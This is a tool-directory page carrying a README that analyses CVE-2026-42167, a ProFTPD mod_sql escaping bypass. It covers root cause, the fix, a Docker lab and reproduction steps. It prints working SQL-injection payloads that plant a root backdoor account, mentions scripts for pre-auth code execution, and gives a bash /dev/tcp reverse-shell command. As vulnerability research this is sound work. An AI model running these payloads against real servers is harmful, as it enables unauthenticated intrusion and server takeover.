Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
proftpd-CVE-2026-42167-analysis — Independent reproduction, code-level root-cause analysis, and realistic-exposure write-up for CVE-2026-42167 (ProFTPD mod_sql is_escaped_text() bypass). | Kitploit
Tools/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

Independent reproduction, code-level root-cause analysis, and realistic-exposure write-up for CVE-2026-42167 (ProFTPD mod_sql is_escaped_text() bypass).

View Repository
31105 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-42167 — ProFTPD mod_sql SQL Injection / Auth Bypass / RCE

Independent reproduction, code-level root-cause walkthrough, and a frank exposure analysis for CVE-2026-42167 — the is_escaped_text() bypass in ProFTPD's mod_sql logging pipeline disclosed by ZeroPath Research and fixed in ProFTPD 1.3.9a / 1.3.10rc1.

Built and verified end-to-end in Docker on macOS / Apple Silicon, 2026-04-29.

TL;DR — see Bottom line for the realistic exposure picture before deciding how worried to be. This is not a default-install bug, but the dangerous quoting pattern is the pattern the upstream docs tell you to use, so a large fraction of mod_sql deployments inherit it.

FieldValue
CVECVE-2026-42167
CWECWE-89 (SQL Injection), CWE-78 (OS Command Injection — via PG COPY TO PROGRAM)
AffectedProFTPD ≤ 1.3.9 with mod_sql + SQLLog/SQLNamedQuery whose format string interpolates an attacker-controlled variable inside single quotes
Fixed in1.3.9a (af90843ba…) / 1.3.10rc1, see commit e6f728481 ("Issue #2052")
Pinned vulnerable commitae25959adb05ae1d6ebfa1f36bf778c9c34e9410
Vulnerable filecontrib/mod_sql.c lines 741–758 (is_escaped_text) and line 777 (sql_resolved_append_text)
Original disclosurehttps://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
Public PoChttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
Release noteshttp://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. Root cause — is_escaped_text() heuristic in contrib/mod_sql.c

mod_sql resolves logging format variables (%U, %{basename}, etc.) and appends each piece into the rendered SQL via sql_resolved_append_text(). To preserve backwards compatibility with admin configs that already wrap variables in '…', the function calls is_escaped_text() to decide whether sql_escapestring is needed:

/* contrib/mod_sql.c — vulnerable commit ae25959 */
741  static int is_escaped_text(const char *text, size_t text_len) {
742    register unsigned int i;
743
744    if (text[0] != '\'')              return FALSE;
745    if (text[text_len-1] != '\'')     return FALSE;
746    for (i = 1; i < text_len-1; i++)
747      if (text[i] == '\'')            return FALSE;
748    return TRUE;
749  }
…
777    if (is_escaped_text(text, text_len) == FALSE) {
…       /* …sql_escapestring()… */
790    } else {
791      pr_trace_msg(trace_channel, 17,
792        "text '%s' is already escaped, skipping escaping it again", text);
793      new_text = (char *) text;
794      new_textlen = text_len;
795    }

The check is purely structural — it cannot distinguish "already escaped by trusted code" from "crafted by an attacker to look already escaped." Any client-supplied value matching '<no-internal-quotes>' skips sql_escapestring and is concatenated raw into the final query.

The standard, documented config wraps %U / %{basename} / %m in single quotes:

SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

When the attacker sends USER '<payload>' (start- and end-quote, no internal quotes), the resolver substitutes %U unescaped, producing ''<payload>'' in the SQL — the empty string literals close the surrounding quotes and <payload> runs as raw SQL. With PostgreSQL (PQexec) and SQLite (sqlite3_exec), stacked queries are supported, so <payload> can be any sequence of statements.

Because SQLLog ERR_* fires on failed logins and %U is set from USER before authentication, the attack is fully unauthenticated.

The fix (commit e6f728481, "Issue #2052")

sql_resolved_append_text() gains an already_escaped parameter. Callers that resolve values from client input pass FALSE and now go through sql_escapestring unconditionally — the is_escaped_text() heuristic is still applied for the legitimate "config has pre-escaped value" path but no longer applies to attacker-controlled data.


2. Lab environment

+--------------------+         FTP 21          +-----------------------+
|  attacker (host)   |  <-->  127.0.0.1:2121  |  proftpd-poc-server   |
|  python3 PoCs      |                        |  ProFTPD 1.3.9-pre    |
+--------------------+                        |  mod_sql_postgres     |
                                              +-----------+-----------+
                                                          | libpq
                                                          v
                                              +-----------------------+
                                              | proftpd-poc-postgres  |
                                              | PostgreSQL 15         |
                                              | role 'proftpd' = SU   |
                                              +-----------------------+
  • Both containers stand up via setup/docker-compose.yml.
  • setup/proftpd.conf enables the vulnerable logging config (see §1).
  • setup/seed.sql creates users, groups, activity_log, xfer_log, and secrets, plus a single legitimate FTP user ftpuser / ftppass.

3. Reproduction — copy/paste

Prerequisites: Docker Desktop, Python 3.10+, git. (uv is optional; the PoCs are stdlib-only.)

# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

The two interactive variants in the upstream repo (preauth_user_rce.py, postauth_stor_rce.py) are unmodified and pop a PTY-backed reverse shell. They use the same primitive as the marker variant — just substitute the shell command for bash -i >& /dev/tcp/<host>/<port> 0>&1 and listen on <port> first.


4. The payloads, byte-for-byte

Pre-auth backdoor (USER command, %U)

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --'
PASS x

Why it works:

  1. The outer quotes + no internal quotes match is_escaped_text() → escape skipped.
  2. The configured SQLNamedQuery is INSERT "'%U', '%r', '%m'" activity_log, so the rendered SQL becomes INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>') — but <payload> itself starts with ', so the effective query is INSERT INTO activity_log VALUES('', null, null); INSERT INTO users VALUES($$backdoor$$,…); --', '<%r>', '<%m>').
  3. -- comments out the trailing format slots.
  4. $$…$$ PostgreSQL dollar-quoting lets us pass strings (backdoor, pwned123, /, /bin/bash) without ever using ' — preserving the is_escaped_text() bypass.
  5. SQLLog ERR_* fires on the failed login → PQexec() runs the stacked INSERT INTO users → backdoor account exists in the auth table.

Post-auth backdoor (STOR filename, %{basename})

Download Tool